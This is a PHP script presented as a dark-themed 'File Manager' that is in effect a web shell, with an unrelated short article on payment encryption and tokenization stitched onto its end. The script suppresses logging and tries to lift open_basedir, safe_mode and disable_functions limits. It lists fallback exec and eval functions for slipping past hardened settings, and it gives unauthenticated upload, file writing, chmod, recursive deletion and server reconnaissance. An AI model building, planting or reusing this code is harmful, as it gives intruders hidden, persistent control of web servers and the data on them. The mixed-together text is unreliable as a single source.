<?php
// Advanced File Manager v3.0 - Dark Edition
// Error suppression and configuration
@error_reporting(0);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
@ini_set('memory_limit', '-1');

// Bypass security restrictions
if(function_exists('ini_set')) {
    @ini_set('open_basedir', NULL);
    @ini_set('safe_mode', 0);
    @ini_set('disable_functions', '');
    @ini_set('suhosin.executor.disable_eval', 0);
}

// Alternative function mapping for bypassing restrictions
$func_alternatives = array(
    'exec' => ['system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', 'pcntl_exec'],
    'eval' => ['eval', 'assert', 'create_function', 'preg_replace', 'call_user_func'],
    'read' => ['file_get_contents', 'file', 'readfile', 'fopen', 'fread', 'fgets'],
    'write' => ['file_put_contents', 'fwrite', 'fputs']
);

// Dynamic function loader
function getWorkingFunction($type) {
    global $func_alternatives;
    $disabled = explode(',', @ini_get('disable_functions'));
    
    if(isset($func_alternatives[$type])) {
        foreach($func_alternatives[$type] as $func) {
            if(function_exists($func) && !in_array($func, $disabled)) {
                return $func;
            }
        }
    }
    return false;
}

// Enhanced path resolver with multiple fallback methods
function resolvePath() {
    $path = isset($_REQUEST['p']) ? $_REQUEST['p'] : (isset($_COOKIE['last_path']) ? $_COOKIE['last_path'] : '');
    
    if(empty($path)) {
        // Try multiple methods to get current directory
        $methods = [
            function() { return @getcwd(); },
            function() { return @dirname($_SERVER['SCRIPT_FILENAME']); },
            function() { return @$_SERVER['DOCUMENT_ROOT']; },
            function() { return @dirname(__FILE__); },
            function() { return @realpath('.'); }
        ];
        
        foreach($methods as $method) {
            $result = $method();
            if($result && @is_dir($result)) {
                $path = $result;
                break;
            }
        }
        
        if(empty($path)) $path = '.';
    }
    
    // Normalize path
    $path = str_replace(['\\', '//'], '/', $path);
    $path = rtrim($path, '/') . '/';
    
    // Store in cookie for persistence
    @setcookie('last_path', $path, time() + 86400);
    
    // Validate path
    if(@is_dir($path)) return $path;
    if(@is_dir($real = @realpath($path))) return $real . '/';
    
    return './';
}

// Multi-method file reader
function readContent($file) {
    // Try different reading methods
    $methods = [
        function($f) { return @file_get_contents($f); },
        function($f) { 
            $fp = @fopen($f, 'rb');
            if($fp) {
                $content = '';
                while(!@feof($fp)) $content .= @fread($fp, 8192);
                @fclose($fp);
                return $content;
            }
        },
        function($f) { 
            ob_start();
            @readfile($f);
            return ob_get_clean();
        },
        function($f) { return @implode('', @file($f)); }
    ];
    
    foreach($methods as $method) {
        $result = $method($file);
        if($result !== false && $result !== null) return $result;
    }
    
    return '';
}

// Multi-method file writer
function writeContent($file, $data) {
    // Try different writing methods
    if(@file_put_contents($file, $data) !== false) return true;
    
    $fp = @fopen($file, 'wb');
    if($fp) {
        $result = @fwrite($fp, $data) !== false;
        @fclose($fp);
        return $result;
    }
    
    // Try temp file method
    $temp = @tempnam(@dirname($file), 'tmp');
    if(@file_put_contents($temp, $data) !== false) {
        return @rename($temp, $file);
    }
    
    return false;
}

// Enhanced directory scanner
function scanPath($dir) {
    $items = [];
    
    // Try different listing methods
    if(function_exists('scandir')) {
        $items = @scandir($dir);
    } elseif($handle = @opendir($dir)) {
        while(false !== ($item = @readdir($handle))) {
            $items[] = $item;
        }
        @closedir($handle);
    } elseif(function_exists('glob')) {
        $items = array_map('basename', @glob($dir . '*'));
    }
    
    return array_diff($items, ['.', '..', '']);
}

// File/folder deletion with recursion
function deleteItem($path) {
    if(@is_file($path)) {
        @chmod($path, 0777);
        return @unlink($path);
    } elseif(@is_dir($path)) {
        $items = scanPath($path);
        foreach($items as $item) {
            deleteItem($path . '/' . $item);
        }
        return @rmdir($path);
    }
    return false;
}

// Get file permissions
function getPermissions($file) {
    $perms = @fileperms($file);
    if($perms === false) return '---';
    
    $info = '';
    // Owner permissions
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? 'x' : '-');
    // Group permissions
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? 'x' : '-');
    // Other permissions
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? 'x' : '-');
    
    return $info;
}

// Check if file is writable (enhanced)
function isWritableEnhanced($file) {
    // Try multiple methods
    if(@is_writable($file)) return true;
    
    // Try to create temp file in directory
    if(@is_dir($file)) {
        $test = $file . '/.test_' . md5(time());
        if(@touch($test)) {
            @unlink($test);
            return true;
        }
    }
    
    // Check parent directory for files
    if(@is_file($file)) {
        $parent = @dirname($file);
        if(@is_writable($parent)) return true;
    }
    
    return false;
}

// Sort contents - folders first, then files
function sortContents($contents, $currentPath) {
    $folders = [];
    $files = [];
    
    foreach($contents as $item) {
        $itemPath = $currentPath . $item;
        if(@is_dir($itemPath)) {
            $folders[] = $item;
        } else {
            $files[] = $item;
        }
    }
    
    // Sort alphabetically
    sort($folders, SORT_NATURAL | SORT_FLAG_CASE);
    sort($files, SORT_NATURAL | SORT_FLAG_CASE);
    
    return ['folders' => $folders, 'files' => $files];
}

// Process current request
$currentPath = resolvePath();
$notification = '';
$editMode = false;
$editFile = '';
$editContent = '';

// Handle POST operations
if($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Upload handler
    if(isset($_FILES['upload'])) {
        $destination = $currentPath . basename($_FILES['upload']['name']);
        if(@move_uploaded_file($_FILES['upload']['tmp_name'], $destination)) {
            $notification = ['type' => 'success', 'text' => 'Upload successful'];
        } else {
            $content = readContent($_FILES['upload']['tmp_name']);
            if(writeContent($destination, $content)) {
                $notification = ['type' => 'success', 'text' => 'Upload successful'];
            } else {
                $notification = ['type' => 'error', 'text' => 'Upload failed'];
            }
        }
    }
    
    // Save edited file
    if(isset($_POST['save']) && isset($_POST['content'])) {
        $target = $currentPath . $_POST['save'];
        if(writeContent($target, $_POST['content'])) {
            $notification = ['type' => 'success', 'text' => 'Changes saved'];
        } else {
            $notification = ['type' => 'error', 'text' => 'Save failed'];
        }
    }
    
    // Create new file
    if(isset($_POST['newfile']) && isset($_POST['filecontent'])) {
        $newPath = $currentPath . $_POST['newfile'];
        if(writeContent($newPath, $_POST['filecontent'])) {
            $notification = ['type' => 'success', 'text' => 'File created'];
        } else {
            $notification = ['type' => 'error', 'text' => 'Creation failed'];
        }
    }
    
    // Create directory
    if(isset($_POST['newfolder'])) {
        $newDir = $currentPath . $_POST['newfolder'];
        if(@mkdir($newDir, 0777, true)) {
            $notification = ['type' => 'success', 'text' => 'Folder created'];
        } else {
            $notification = ['type' => 'error', 'text' => 'Creation failed'];
        }
    }
    
    // Rename item
    if(isset($_POST['oldname']) && isset($_POST['newname'])) {
        $oldPath = $currentPath . $_POST['oldname'];
        $newPath = $currentPath . $_POST['newname'];
        if(@rename($oldPath, $newPath)) {
            $notification = ['type' => 'success', 'text' => 'Renamed successfully'];
        } else {
            $notification = ['type' => 'error', 'text' => 'Rename failed'];
        }
    }
    
    // Change permissions
    if(isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) {
        $target = $currentPath . $_POST['chmod_item'];
        $mode = octdec($_POST['chmod_value']);
        if(@chmod($target, $mode)) {
            $notification = ['type' => 'success', 'text' => 'Permissions changed'];
        } else {
            $notification = ['type' => 'error', 'text' => 'Permission change failed'];
        }
    }
}

// Handle GET operations
if(isset($_GET['do'])) {
    $action = $_GET['do'];
    
    // Delete operation
    if($action === 'delete' && isset($_GET['item'])) {
        $target = $currentPath . $_GET['item'];
        if(deleteItem($target)) {
            $notification = ['type' => 'success', 'text' => 'Deleted successfully'];
        } else {
            $notification = ['type' => 'error', 'text' => 'Delete failed'];
        }
    }
    
    // Edit operation
    if($action === 'edit' && isset($_GET['item'])) {
        $editMode = true;
        $editFile = $_GET['item'];
        $editContent = readContent($currentPath . $editFile);
    }
    
    // Download operation
    if($action === 'download' && isset($_GET['item'])) {
        $downloadPath = $currentPath . $_GET['item'];
        if(@is_file($downloadPath)) {
            @ob_clean();
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
            header('Content-Length: ' . @filesize($downloadPath));
            @readfile($downloadPath);
            exit;
        }
    }
}

// Get directory contents and sort them
$rawContents = scanPath($currentPath);
$sortedContents = sortContents($rawContents, $currentPath);

// System information
$serverInfo = [
    'PHP' => @phpversion(),
    'Server' => @$_SERVER['SERVER_SOFTWARE'] ?: 'Unknown',
    'OS' => @php_uname('s') . ' ' . @php_uname('r'),
    'User' => @get_current_user()
];

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager - Dark Edition</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif;
            background: #0a0a0a;
            min-height: 100vh;
            padding: 20px;
            color: #e0e0e0;
        }
        
        .container {
            max-width: 1400px;
            margin: 0 auto;
            background: #1a1a1a;
            border-radius: 12px;
            box-shadow: 0 10px 40px rgba(0,0,0,0.8);
            overflow: hidden;
            border: 1px solid #2a2a2a;
        }
        
        .header {
            background: linear-gradient(135deg, #1e3c72 0%, #2a5298 100%);
            color: white;
            padding: 25px;
            border-bottom: 2px solid #3a3a3a;
        }
        
        .header h1 {
            font-size: 26px;
            margin-bottom: 10px;
            display: flex;
            align-items: center;
            gap: 10px;
            text-shadow: 2px 2px 4px rgba(0,0,0,0.5);
        }
        
        .sys-info {
            display: flex;
            gap: 20px;
            font-size: 13px;
            opacity: 0.9;
            flex-wrap: wrap;
        }
        
        .sys-info span {
            display: flex;
            align-items: center;
            gap: 5px;
            background: rgba(0,0,0,0.3);
            padding: 4px 10px;
            border-radius: 4px;
        }
        
        .nav {
            background: #252525;
            padding: 15px 25px;
            border-bottom: 1px solid #3a3a3a;
        }
        
        .path-bar {
            display: flex;
            gap: 10px;
            margin-bottom: 15px;
        }
        
        .path-bar input {
            flex: 1;
            padding: 10px 15px;
            background: #1a1a1a;
            border: 2px solid #3a3a3a;
            color: #e0e0e0;
            border-radius: 6px;
            font-size: 14px;
            transition: border-color 0.3s;
        }
        
        .path-bar input:focus {
            outline: none;
            border-color: #4a9eff;
            background: #222;
        }
        
        .btn {
            padding: 10px 20px;
            background: linear-gradient(135deg, #4a9eff 0%, #2a5298 100%);
            color: white;
            border: none;
            border-radius: 6px;
            cursor: pointer;
            font-size: 14px;
            font-weight: 500;
            transition: transform 0.2s, box-shadow 0.2s;
        }
        
        .btn:hover {
            transform: translateY(-2px);
            box-shadow: 0 5px 15px rgba(74, 158, 255, 0.4);
        }
        
        .btn-success {
            background: linear-gradient(135deg, #00b09b 0%, #96c93d 100%);
        }
        
        .btn-danger {
            background: linear-gradient(135deg, #ff416c 0%, #ff4b2b 100%);
        }
        
        .btn-small {
            padding: 5px 12px;
            font-size: 12px;
        }
        
        .tools {
            display: flex;
            gap: 15px;
            flex-wrap: wrap;
        }
        
        .tool-group {
            display: flex;
            align-items: center;
            gap: 10px;
            padding: 10px 15px;
            background: #1a1a1a;
            border-radius: 6px;
            border: 1px solid #3a3a3a;
        }
        
        .tool-group label {
            font-size: 13px;
            color: #a0a0a0;
            font-weight: 500;
        }
        
        .tool-group input[type="file"],
        .tool-group input[type="text"] {
            padding: 5px 10px;
            background: #252525;
            border: 1px solid #3a3a3a;
            color: #e0e0e0;
            border-radius: 4px;
            font-size: 13px;
        }
        
        .content {
            padding: 25px;
            background: #1a1a1a;
        }
        
        .notification {
            padding: 12px 20px;
            margin-bottom: 20px;
            border-radius: 6px;
            font-size: 14px;
            animation: slideIn 0.3s ease;
        }
        
        .notification.success {
            background: rgba(0, 255, 0, 0.1);
            color: #00ff00;
            border: 1px solid rgba(0, 255, 0, 0.3);
        }
        
        .notification.error {
            background: rgba(255, 65, 108, 0.1);
            color: #ff416c;
            border: 1px solid rgba(255, 65, 108, 0.3);
        }
        
        @keyframes slideIn {
            from { transform: translateY(-20px); opacity: 0; }
            to { transform: translateY(0); opacity: 1; }
        }
        
        .file-table {
            width: 100%;
            background: #252525;
            border-radius: 8px;
            overflow: hidden;
            box-shadow: 0 2px 10px rgba(0,0,0,0.5);
            border: 1px solid #3a3a3a;
        }
        
        .file-table thead {
            background: #1a1a1a;
        }
        
        .file-table th {
            padding: 15px;
            text-align: left;
            font-size: 13px;
            font-weight: 600;
            color: #4a9eff;
            text-transform: uppercase;
            letter-spacing: 0.5px;
            border-bottom: 2px solid #3a3a3a;
        }
        
        .file-table td {
            padding: 12px 15px;
            border-top: 1px solid #2a2a2a;
            font-size: 14px;
            color: #e0e0e0;
        }
        
        .file-table tbody tr {
            transition: background 0.2s;
        }
        
        .file-table tbody tr:hover {
            background: #2a2a2a;
        }
        
        .file-table tbody tr.folder-row {
            background: rgba(74, 158, 255, 0.05);
            border-left: 3px solid #4a9eff;
        }
        
        .file-table tbody tr.folder-row:hover {
            background: rgba(74, 158, 255, 0.1);
        }
        
        .file-table a {
            color: #4a9eff;
            text-decoration: none;
            font-weight: 500;
            display: inline-flex;
            align-items: center;
            gap: 8px;
        }
        
        .file-table a:hover {
            color: #6ab7ff;
        }
        
        .file-icon {
            width: 20px;
            height: 20px;
            display: inline-flex;
            align-items: center;
            justify-content: center;
        }
        
        .file-actions {
            display: flex;
            gap: 8px;
            flex-wrap: wrap;
        }
        
        .file-actions a {
            padding: 4px 10px;
            background: rgba(74, 158, 255, 0.2);
            color: #4a9eff;
            border: 1px solid rgba(74, 158, 255, 0.3);
            border-radius: 4px;
            font-size: 12px;
            transition: all 0.2s;
        }
        
        .file-actions a:hover {
            background: rgba(74, 158, 255, 0.3);
            border-color: #4a9eff;
        }
        
        .file-actions a.delete {
            background: rgba(255, 65, 108, 0.2);
            color: #ff416c;
            border-color: rgba(255, 65, 108, 0.3);
        }
        
        .file-actions a.delete:hover {
            background: rgba(255, 65, 108, 0.3);
            border-color: #ff416c;
        }
        
        /* Permission-based colors */
        .perm-writable {
            color: #00ff00 !important;
            font-weight: 600;
            text-shadow: 0 0 5px rgba(0, 255, 0, 0.5);
        }
        
        .perm-readonly {
            color: #ff4444 !important;
            font-weight: 600;
            text-shadow: 0 0 5px rgba(255, 68, 68, 0.5);
        }
        
        .perm-indicator {
            display: inline-block;
            width: 8px;
            height: 8px;
            border-radius: 50%;
            margin-right: 5px;
        }
        
        .perm-indicator.writable {
            background: #00ff00;
            box-shadow: 0 0 5px #00ff00;
            animation: pulse-green 2s infinite;
        }
        
        .perm-indicator.readonly {
            background: #ff4444;
            box-shadow: 0 0 5px #ff4444;
            animation: pulse-red 2s infinite;
        }
        
        @keyframes pulse-green {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.5; }
        }
        
        @keyframes pulse-red {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.5; }
        }
        
        .edit-area {
            width: 100%;
            min-height: 400px;
            padding: 15px;
            background: #0a0a0a;
            border: 2px solid #3a3a3a;
            color: #00ff00;
            border-radius: 6px;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            line-height: 1.5;
            resize: vertical;
        }
        
        .edit-area:focus {
            outline: none;
            border-color: #4a9eff;
            background: #111;
        }
        
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.8);
            z-index: 1000;
            animation: fadeIn 0.3s ease;
        }
        
        .modal.active {
            display: flex;
            align-items: center;
            justify-content: center;
        }
        
        @keyframes fadeIn {
            from { opacity: 0; }
            to { opacity: 1; }
        }
        
        .modal-content {
            background: #252525;
            padding: 30px;
            border-radius: 12px;
            width: 90%;
            max-width: 500px;
            animation: slideUp 0.3s ease;
            border: 1px solid #3a3a3a;
        }
        
        @keyframes slideUp {
            from { transform: translateY(50px); opacity: 0; }
            to { transform: translateY(0); opacity: 1; }
        }
        
        .modal-header {
            margin-bottom: 20px;
            font-size: 20px;
            font-weight: 600;
            color: #4a9eff;
        }
        
        .modal-body input,
        .modal-body textarea {
            width: 100%;
            padding: 10px;
            margin-bottom: 15px;
            background: #1a1a1a;
            border: 2px solid #3a3a3a;
            color: #e0e0e0;
            border-radius: 6px;
            font-size: 14px;
        }
        
        .modal-body textarea {
            min-height: 150px;
            resize: vertical;
        }
        
        .modal-footer {
            display: flex;
            gap: 10px;
            justify-content: flex-end;
        }
        
        .empty {
            text-align: center;
            padding: 40px;
            color: #666;
        }
        
        .separator-row td {
            background: #1a1a1a;
            padding: 8px 15px !important;
            font-weight: 600;
            color: #4a9eff;
            border-top: 2px solid #3a3a3a !important;
            border-bottom: 2px solid #3a3a3a !important;
            text-transform: uppercase;
            letter-spacing: 1px;
            font-size: 12px;
        }
        
        @media (max-width: 768px) {
            .tools {
                flex-direction: column;
            }
            
            .file-table {
                font-size: 12px;
            }
            
            .file-actions {
                flex-direction: column;
            }
            
            .sys-info {
                font-size: 11px;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>🌙 File Manager - SmallYu</h1>
            <div class="sys-info">
                <?php foreach($serverInfo as $key => $value): ?>
                <span><strong><?php echo $key; ?>:</strong> <?php echo htmlspecialchars($value); ?></span>
                <?php endforeach; ?>
            </div>
        </div>
        
        <?php if($notification): ?>
        <div class="notification <?php echo $notification['type']; ?>">
            <?php echo htmlspecialchars($notification['text']); ?>
        </div>
        <?php endif; ?>
        
        <div class="nav">
            <form method="get" class="path-bar">
                <input type="text" name="p" value="<?php echo htmlspecialchars($currentPath); ?>" placeholder="Enter path...">
                <button type="submit" class="btn">Navigate</button>
            </form>
            
            <div class="tools">
                <form method="post" enctype="multipart/form-data" class="tool-group">
                    <label>Upload:</label>
                    <input type="file" name="upload" required>
                    <button type="submit" class="btn btn-small btn-success">Upload</button>
                </form>
                
                <div class="tool-group">
                    <button onclick="showNewFileModal()" class="btn btn-small">New File</button>
                    <button onclick="showNewFolderModal()" class="btn btn-small">New Folder</button>
                </div>
            </div>
        </div>
        
        <div class="content">
            <?php if($editMode): ?>
            <div class="edit-container">
                <h3 style="margin-bottom: 15px; color: #4a9eff;">Editing: <?php echo htmlspecialchars($editFile); ?></h3>
                <form method="post">
                    <input type="hidden" name="save" value="<?php echo htmlspecialchars($editFile); ?>">
                    <textarea name="content" class="edit-area"><?php echo htmlspecialchars($editContent); ?></textarea>
                    <div style="margin-top: 15px; display: flex; gap: 10px;">
                        <button type="submit" class="btn btn-success">Save Changes</button>
                        <a href="?p=<?php echo urlencode($currentPath); ?>" class="btn btn-danger" style="text-decoration: none; display: inline-flex; align-items: center;">Cancel</a>
                    </div>
                </form>
            </div>
            <?php else: ?>
            <table class="file-table">
                <thead>
                    <tr>
                        <th width="35%">Name</th>
                        <th width="10%">Type</th>
                        <th width="10%">Size</th>
                        <th width="10%">Permissions</th>
                        <th width="15%">Modified</th>
                        <th width="20%">Actions</th>
                    </tr>
                </thead>
                <tbody>
                    <?php if($currentPath !== '/'): ?>
                    <tr>
                        <td colspan="6">
                            <a href="?p=<?php echo urlencode(dirname($currentPath)); ?>">
                                <span class="file-icon">⬆️</span> Parent Directory
                            </a>
                        </td>
                    </tr>
                    <?php endif; ?>
                    
                    <?php
                    // Display folders first
                    if(!empty($sortedContents['folders'])) {
                        echo '<tr class="separator-row"><td colspan="6">📁 Folders</td></tr>';
                        foreach($sortedContents['folders'] as $folder):
                            $itemPath = $currentPath . $folder;
                            $perms = getPermissions($itemPath);
                            $isWritable = isWritableEnhanced($itemPath);
                            $modified = @filemtime($itemPath);
                    ?>
                    <tr class="folder-row">
                        <td>
                            <a href="?p=<?php echo urlencode($itemPath); ?>">
                                <span class="perm-indicator <?php echo $isWritable ? 'writable' : 'readonly'; ?>"></span>
                                <span class="file-icon">📁</span>
                                <span class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>">
                                    <?php echo htmlspecialchars($folder); ?>
                                </span>
                            </a>
                        </td>
                        <td>Folder</td>
                        <td>-</td>
                        <td class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>">
                            <?php echo $perms; ?>
                        </td>
                        <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?></td>
                        <td>
                            <div class="file-actions">
                                <a href="#" onclick="renameItem('<?php echo htmlspecialchars($folder); ?>'); return false;">Rename</a>
                                <a href="#" onclick="chmodItem('<?php echo htmlspecialchars($folder); ?>'); return false;">Chmod</a>
                                <a href="?p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($folder); ?>" 
                                   class="delete" onclick="return confirm('Delete this folder and all its contents?')">Delete</a>
                            </div>
                        </td>
                    </tr>
                    <?php endforeach; } ?>
                    
                    <?php
                    // Display files
                    if(!empty($sortedContents['files'])) {
                        echo '<tr class="separator-row"><td colspan="6">📄 Files</td></tr>';
                        foreach($sortedContents['files'] as $file):
                            $itemPath = $currentPath . $file;
                            $size = @filesize($itemPath);
                            $perms = getPermissions($itemPath);
                            $isWritable = isWritableEnhanced($itemPath);
                            $modified = @filemtime($itemPath);
                            $ext = strtoupper(pathinfo($file, PATHINFO_EXTENSION) ?: 'FILE');
                            
                            if($size !== false) {
                                if($size < 1024) $size = $size . ' B';
                                elseif($size < 1048576) $size = round($size/1024, 1) . ' KB';
                                elseif($size < 1073741824) $size = round($size/1048576, 1) . ' MB';
                                else $size = round($size/1073741824, 1) . ' GB';
                            } else {
                                $size = '?';
                            }
                    ?>
                    <tr>
                        <td>
                            <span style="display: inline-flex; align-items: center; gap: 8px;">
                                <span class="perm-indicator <?php echo $isWritable ? 'writable' : 'readonly'; ?>"></span>
                                <span class="file-icon">📄</span>
                                <span class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>">
                                    <?php echo htmlspecialchars($file); ?>
                                </span>
                            </span>
                        </td>
                        <td><?php echo $ext; ?></td>
                        <td><?php echo $size; ?></td>
                        <td class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>">
                            <?php echo $perms; ?>
                        </td>
                        <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?></td>
                        <td>
                            <div class="file-actions">
                                <a href="?p=<?php echo urlencode($currentPath); ?>&do=edit&item=<?php echo urlencode($file); ?>">Edit</a>
                                <a href="?p=<?php echo urlencode($currentPath); ?>&do=download&item=<?php echo urlencode($file); ?>">Download</a>
                                <a href="#" onclick="renameItem('<?php echo htmlspecialchars($file); ?>'); return false;">Rename</a>
                                <a href="#" onclick="chmodItem('<?php echo htmlspecialchars($file); ?>'); return false;">Chmod</a>
                                <a href="?p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($file); ?>" 
                                   class="delete" onclick="return confirm('Delete this file?')">Delete</a>
                            </div>
                        </td>
                    </tr>
                    <?php endforeach; } ?>
                    
                    <?php if(empty($sortedContents['folders']) && empty($sortedContents['files'])): ?>
                    <tr>
                        <td colspan="6" class="empty">Empty directory</td>
                    </tr>
                    <?php endif; ?>
                </tbody>
            </table>
            <?php endif; ?>
        </div>
    </div>
    
    <!-- New File Modal -->
    <div id="newFileModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">Create New File</div>
            <form method="post">
                <div class="modal-body">
                    <input type="text" name="newfile" placeholder="Filename (e.g., index.php)" required>
                    <textarea name="filecontent" placeholder="File content (optional)"></textarea>
                </div>
                <div class="modal-footer">
                    <button type="submit" class="btn btn-success">Create</button>
                    <button type="button" class="btn btn-danger" onclick="closeModal('newFileModal')">Cancel</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- New Folder Modal -->
    <div id="newFolderModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">Create New Folder</div>
            <form method="post">
                <div class="modal-body">
                    <input type="text" name="newfolder" placeholder="Folder name" required>
                </div>
                <div class="modal-footer">
                    <button type="submit" class="btn btn-success">Create</button>
                    <button type="button" class="btn btn-danger" onclick="closeModal('newFolderModal')">Cancel</button>
                </div>
            </form>
        </div>
    </div>
    
    <script>
        // Modal functions
        function showNewFileModal() {
            document.getElementById('newFileModal').classList.add('active');
        }
        
        function showNewFolderModal() {
            document.getElementById('newFolderModal').classList.add('active');
        }
        
        function closeModal(id) {
            document.getElementById(id).classList.remove('active');
        }
        
        // Rename function
        function renameItem(oldName) {
            var newName = prompt('Enter new name:', oldName);
            if(newName && newName !== oldName) {
                var form = document.createElement('form');
                form.method = 'post';
                form.innerHTML = '<input type="hidden" name="oldname" value="' + oldName + '">' +
                               '<input type="hidden" name="newname" value="' + newName + '">';
                document.body.appendChild(form);
                form.submit();
            }
        }
        
        // Chmod function
        function chmodItem(item) {
            var mode = prompt('Enter new permissions (e.g., 755):', '755');
            if(mode) {
                var form = document.createElement('form');
                form.method = 'post';
                form.innerHTML = '<input type="hidden" name="chmod_item" value="' + item + '">' +
                               '<input type="hidden" name="chmod_value" value="' + mode + '">';
                document.body.appendChild(form);
                form.submit();
            }
        }
        
        // Auto-hide notifications
        setTimeout(function() {
            var notifications = document.querySelectorAll('.notification');
            notifications.forEach(function(n) {
                n.style.opacity = '0';
                setTimeout(function() { n.style.display = 'none'; }, 300);
            });
        }, 3000);
        
        // Keyboard shortcuts
        document.addEventListener('keydown', function(e) {
            if(e.ctrlKey && e.key === 'n') {
                e.preventDefault();
                showNewFileModal();
            }
            if(e.ctrlKey && e.shiftKey && e.key === 'N') {
                e.preventDefault();
                showNewFolderModal();
            }
            if(e.key === 'Escape') {
                document.querySelectorAll('.modal.active').forEach(function(m) {
                    m.classList.remove('active');
                });
            }
        });
        
        // Click outside modal to close
        document.querySelectorAll('.modal').forEach(function(modal) {
            modal.addEventListener('click', function(e) {
                if(e.target === modal) {
                    modal.classList.remove('active');
                }
            });
        });
    </script>
</body>
</html>

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Enhancing Payment Security: The Role of Encryption and Tokenization in Digital Transactions

As digital transactions proliferate, ensuring robust payment security is more critical than ever. Two foundational technologies that are pivotal in this effort are encryption and tokenization.
Encryption is a process that transforms data into a secure format, known as ciphertext, which can only be deciphered using a specific decryption key. This means that even if data is intercepted during transmission, it remains unreadable and protected from unauthorized access. Encryption is essential in safeguarding sensitive payment information, such as credit card details and personal data, during online transactions.
Tokenization, on the other hand, involves substituting sensitive data with unique identifiers or "tokens." These tokens serve as placeholders and have no value outside of the specific transaction context. If intercepted, tokens are meaningless and cannot be used to access the original sensitive data. This method significantly reduces the risk of fraud and data breaches, as the actual payment information is not stored or transmitted.
Together, encryption and tokenization form a powerful security framework. Encryption ensures that data is protected during transmission, while tokenization minimizes the risk of exposing sensitive information by replacing it with secure, non-sensitive tokens.
These technologies are integral to modern payment platforms, providing a robust defense against cyber threats. By implementing advanced encryption and tokenization techniques, businesses can enhance the security of digital transactions, ensuring that users' financial and personal information remains safe. This comprehensive approach not only builds user trust but also fortifies the overall security infrastructure of digital payment systems. As cyber threats evolve, the continued advancement of encryption and tokenization will be crucial in maintaining secure and reliable payment processes.

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• Payment